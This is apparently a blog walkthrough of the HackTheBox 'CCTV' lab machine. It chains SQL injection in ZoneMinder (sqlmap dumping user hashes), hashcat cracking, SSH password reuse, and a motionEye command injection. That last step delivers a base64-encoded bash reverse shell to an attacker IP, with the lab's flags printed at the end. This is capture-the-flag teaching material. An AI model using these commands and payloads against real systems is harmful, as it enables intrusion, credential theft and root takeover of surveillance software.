← Back to Home

HTB: CCTV

March 8, 2026 HackTheBox
enumerationsql-injectioncredentials-harvestingprivescZoneMindermotionEyecommand-injection

Walkthrough of the HackTheBox CCTV machine.

Reconnaissance

Starting off the way we always do, a full TCP port scan with nmap to see what we’re working with.

nmap -sC -sV -p- 10.129.1.108

Nmap scan results

Two ports come back open:

PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
80HTTPApache 2.4.58 (Ubuntu)

Port 80 immediately redirects to http://cctv.htb/, so that gets added to /etc/hosts.


Web Enumeration

Browsing http://cctv.htb/ lands us on a website for SecureVision, a CCTV and security solutions company. The page has two interactive elements: a Staff Login button and a Get a Quote button.

SecureVision homepage

We will go into the staff login first because that seems the most interesting.

ZoneMinder login page

I see a username and password prompt. We attempt admin:admin (because why not) and it works, we are now in.

ZoneMinder dashboard

The first interesting thing we see is the version v1.37.63 for a web app called ZoneMinder, so now we go on the hunt for a vulnerability.


Foothold - SQL Injection (CVE-2024-51482)

Finding the CVE

Researching ZoneMinder v1.37.63 leads us to CVE-2024-51482, a boolean-based blind SQL injection vulnerability in the tid (tag ID) parameter of web/ajax/event.php. It affects versions up to 1.37.64, so our target is squarely in the vulnerable range.

There’s a public PoC on GitHub, so let’s try it:

# Attacker Machine
git clone https://github.com/BwithE/CVE-2024-51482.git
cd CVE-2024-51482/
python3 poc.py -i 10.129.1.108
# AND
python3 poc.py -i 10.129.1.108 --discovery

Neither seemed to work.

PoC script failing

(Here I had to restart the machine due to technical issues so the IP will change from this point on)

Manual Verification

Rather than blindly trust a random GitHub script, let’s verify the vulnerability manually. We grab our authenticated session cookie (ZMSESSID) from the browser’s dev tools storage section.

ZMSESSID cookie in dev tools

The session cookie being 4lq6n1e4gu32aoda7mh491bgdo, we hit the vulnerable endpoint directly with curl:

curl -v -b "ZMSESSID=<cookie>" "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1"

The URL path (?view=request&request=event&action=removetag&tid=1) comes straight from the CVE details. The vulnerability specifically targets the tid parameter in ZoneMinder’s event tag removal endpoint. The response comes back clean:

< HTTP/1.1 200 OK
...
{"result":"Ok","response":0}

So we know the endpoint is reachable with our authentication. Good.

Exploiting with sqlmap

Now let’s let sqlmap do the heavy lifting. We pass the URL with our session cookie and crank up the level and risk:

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=<cookie>" --batch --level=3 --risk=3

sqlmap identified the tid parameter as time-based blind injectable:

sqlmap identifying injection

Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ...tid=1 AND (SELECT 5515 FROM (SELECT(SLEEP(5)))gYDX)

Dumping Credentials

With the injection confirmed, we target the zm.Users table directly to extract credentials:

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=<cookie>" --batch -D zm -T Users -C Username,Password --dump

Fair warning: Time-based blind injection is painfully slow. Every single character requires multiple requests with timed delays. Sessions can expire mid-extraction, so keep an eye on that cookie.

sqlmap extracted three users:

UsernamePassword (Bcrypt Hash)
superadmin$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
admin$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

sqlmap dumping user credentials

Cracking the Hashes

These are bcrypt hashes (the $2y$10$ prefix gives it away). I throw them all into a file called hashes.txt and let hashcat go to work:

Hashes in file

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

hashcat cracks two of the three:

UsernamePassword
markopensesame
adminadmin

Not exactly Fort Knox level security.

SSH Access

We check to see if mark reuses his password for SSH. And sure enough:

ssh mark@10.129.244.156
# Password: opensesame

We’re in. Unfortunately, the user flag doesn’t seem to be in /home/mark/. It most likely lives in /home/sa_mark/, which we don’t have permissions to access.

Mark&#x27;s home directory, no user flag

So we need to find a way to pivot.


Lateral Movement + Privilege Escalation

Internal Enumeration

Checking listening services reveals a bunch of internal ports that aren’t exposed externally:

ss -tlnp

ss -tlnp output

Curling these ports to fingerprint the services reveals two interesting ones:

PortService
8765motionEye 0.43.1b4 (CCTV web UI)
8888MediaMTX media server

motionEye identified via curl

Accessing motionEye

Port 8765 runs motionEye 0.43.1b4, an open-source CCTV management web UI. It’s only listening on localhost, so to access it from our attack box we set up an SSH tunnel:

ssh -L 8765:127.0.0.1:8765 mark@10.129.244.156

Now we can open http://127.0.0.1:8765 in our browser and we see a login panel.

motionEye login panel

Extracting motionEye Credentials

motionEye stores its configuration and database in /etc/motioneye/. Checking permissions reveals several readable files:

ls -la /etc/motioneye/

motionEye directory listing

We can extract credentials from the config file since they’re stored in plaintext:

strings /etc/motioneye/motion.conf | grep -i pass

Admin password in config

We see that admin has a password of 989c5a8ee87a0e9521ec81a79187d162109282f0, which we use to log into the web UI as admin.

Command Injection via image_file_name (CVE-2025-60787)

The settings panel confirms it’s running motionEye Version 0.43.1b4, and some quick research reveals a public vulnerability: CVE-2025-60787, an OS command injection through the image_file_name configuration parameter.

motionEye settings showing version

The vulnerability works because motionEye passes the image filename through shell evaluation when saving snapshots. If you inject a command substitution like $(...) into the filename, the shell executes it. The catch is that the web UI has frontend JavaScript validation (configUiValid) that blocks special characters. But frontend validation is not security.

Step 1: Open the browser’s Developer Console (F12) and kill the validation:

configUiValid = function() { return true; };

Browser console disabling validation

This forces the UI validation function to always return true, allowing any value to be accepted by the forms.

Step 2: Navigate to Settings > Still Images > Image File Name and replace the default value with our payload:

$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44My85MDAxIDA+JjE= | base64 -d | bash).%Y-%m-%d-%H-%M-%S

Payload injected into Image File Name field

The base64 decodes to:

bash -i >& /dev/tcp/10.10.14.83/9001 0>&1

A standard reverse shell. We use base64 encoding to dodge any remaining character filtering the web app might do on the backend.

Step 3: Start a listener on our attack box:

nc -lvnp 9001

Step 4: Save the configuration and click the snapshot button on the camera feed to trigger the payload.

The moment motionEye tries to save the image with our malicious filename, the shell evaluates the $(...) substitution and fires the reverse shell.

Reverse shell as root

And just like that, the listener catches the connection and we’re in as root. We technically skipped the lateral movement to sa_mark entirely and went straight to privilege escalation. MotionEye runs as root, so the command injection gives us the highest privilege on the box. Both flags are ours.

Flags


Summary

User FlagRoot Flag
66d5b7b8146b8eb6dcba6f859c119dd57c1a4b3dc6c3f660298560954122a881

The full attack chain for CCTV:

  1. Recon: Nmap reveals SSH on port 22 and Apache on port 80
  2. Web Enumeration: Staff Login leads to a ZoneMinder dashboard, default creds admin:admin get us in
  3. CVE-2024-51482: SQL injection on the tid parameter, exploited with sqlmap to dump the zm.Users table
  4. Hash Cracking: Hashcat cracks mark:opensesame from the bcrypt hashes
  5. SSH Access: Password reuse gets us a shell as mark
  6. Internal Enumeration: SSH tunnel to access motionEye on port 8765, credentials extracted from readable config files
  7. CVE-2025-60787: Command injection via the image_file_name parameter in motionEye, bypassing frontend validation through the browser console
  8. Root Shell: Reverse shell fires as root, both flags captured in one shot